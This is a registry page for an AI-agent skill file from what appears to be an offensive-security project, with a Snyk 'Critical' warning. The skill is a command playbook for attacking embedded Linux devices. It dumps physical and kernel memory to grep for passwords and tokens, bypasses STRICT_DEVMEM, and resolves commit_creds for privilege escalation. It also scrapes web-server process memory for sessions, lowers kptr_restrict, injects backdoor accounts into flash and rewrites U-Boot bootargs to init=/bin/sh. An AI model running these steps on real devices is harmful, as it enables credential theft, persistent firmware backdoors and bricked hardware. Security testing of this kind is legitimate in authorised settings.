CtrlK
BlogDocsLog inGet started
Tessl Logo

dev-mem

Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

65

Quality

80%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md
SKILL.md
Quality
Evals
Security

/dev/mem, /dev/kmem, and MTD Runtime Patching

On embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.

Prerequisites

  • Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
  • Target runs Linux (confirms with uname -a).
  • Check access: ls -la /dev/mem /dev/kmem /dev/mtd*.
  • Tools: devmem2 (or /dev/mem via dd), mtd_debug, flashcp, busybox devmem.
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null

# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd

Phase 1 — Physical Memory Read via /dev/mem

1a. devmem2 (most common embedded tool)

# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w

# Read byte at address
devmem2 0x10000000 b

# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF

# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32

1b. dd + /dev/mem

# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin

# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd

# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20

# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin

1c. Bypass CONFIG_STRICT_DEVMEM

Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.

# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"

# Bypass A: MMIO regions are always permitted — map peripheral registers
#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.

# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null

# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)

# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null

Phase 2 — Kernel Memory via /dev/kmem

/dev/kmem exposes virtual kernel address space. Available on older kernels (pre-3.7) or when compiled without CONFIG_DEVKMEM=n.

# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table

# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd

# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q    # quad-word read (64-bit)

2a. Extract kernel credentials from /proc/kcore

# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash    # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList

# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20

Phase 3 — MTD Raw Flash Access

MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux, /dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths for read/write access to firmware partitions.

3a. Partition enumeration

# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev:    size   erasesize  name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"

3b. Dump MTD partition

# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512

# Method B: mtd_debug read (preferred — handles bad blocks on NAND)
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin

# Method C: nanddump (NAND-aware, includes OOB handling)
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin

3c. Write (patch) an MTD partition

# DANGER: Writing to wrong partition bricks the device.
# Always verify partition map and backup before writing.

# Step 1: Backup the partition to be patched
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256

# Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd)
# Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin

# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)
flash_erase /dev/mtd3 0 0        # erase entire partition
# Or with mtd_debug:
mtd_debug erase /dev/mtd3 0 $((0x600000))

# Step 4: Write patched image
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
# Or mtd_debug write:
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin

# Step 5: Verify write
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"

3d. U-Boot environment modification via MTD

# U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env")
UBOOT_ENV_MTD=/dev/mtd1

# Dump current env
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin

# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
    if e: print(e.decode(errors='replace'))
"

# Modify env and rewrite with correct CRC
python3 << 'EOF'
import struct, zlib

env_vars = {
    "bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
    "bootcmd": "run bootlinux",
    # add more vars as needed
}

# Build null-delimited env block (standard U-Boot env size = 64KB)
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
    payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")

crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
    f.write(crc + payload)
print("Patched env written")
EOF

# Flash patched env
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1

Phase 4 — Live Process Memory Access

# List running processes with memory maps
cat /proc/1/maps       # init/systemd
# Identify heap/stack regions

# Read from process memory (requires same UID or root)
# Read 256 bytes at heap start of PID 1234
HEAP_START=0x00400000  # from /proc/1234/maps
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null

# Search for credentials in web server process memory (lighttpd / httpd)
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20

# GDB (if available) — attach to running process
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
    2>/dev/null | grep -iE 'password|secret|key'

Phase 5 — /proc/kallsyms Exploitation

# Read symbol table (requires root or kernel.kptr_restrict=0)
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'

# Check kptr_restrict setting
cat /proc/sys/kernel/kptr_restrict
# 0 = all addresses visible, 1 = visible to root, 2 = hidden always

# Lower restriction (if writable — common on IoT with permissive sysctl)
echo 0 > /proc/sys/kernel/kptr_restrict

# Use symbol addresses for kernel exploit primitives
# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc
# (pass to kernel module or mmap-based shellcode)

Evidence

EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"

OPSEC Notes

  • MTD erase+write operations are irreversible if the backup is lost. Keep the backup in /workspace/evidence/ before any write operation.
  • Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no software recovery path. Triple-check partition map from /proc/mtd before writing.
  • /dev/mem reads of active MMIO registers (UART, SPI, GPIO) can interfere with peripheral operation and may trigger watchdog resets.
  • On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access may generate audit log entries visible to the vendor's telemetry pipeline.
  • MTD writes generate wear on flash cells; each erase cycle degrades the chip. Limit writes to the minimum needed; document all writes for device-return procedures.

References

  • mtd-utils documentation: https://github.com/sigma-star/mtd-utils
  • Linux MTD subsystem: https://www.linux-mtd.infradead.org/doc/general.html
  • devmem2 tool: https://github.com/VCTLabs/devmem2
  • Kernel exploitation via /dev/mem: references/devmem-kernel-exploit.md
  • U-Boot env format: https://u-boot.readthedocs.io/en/latest/usage/environment.html
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.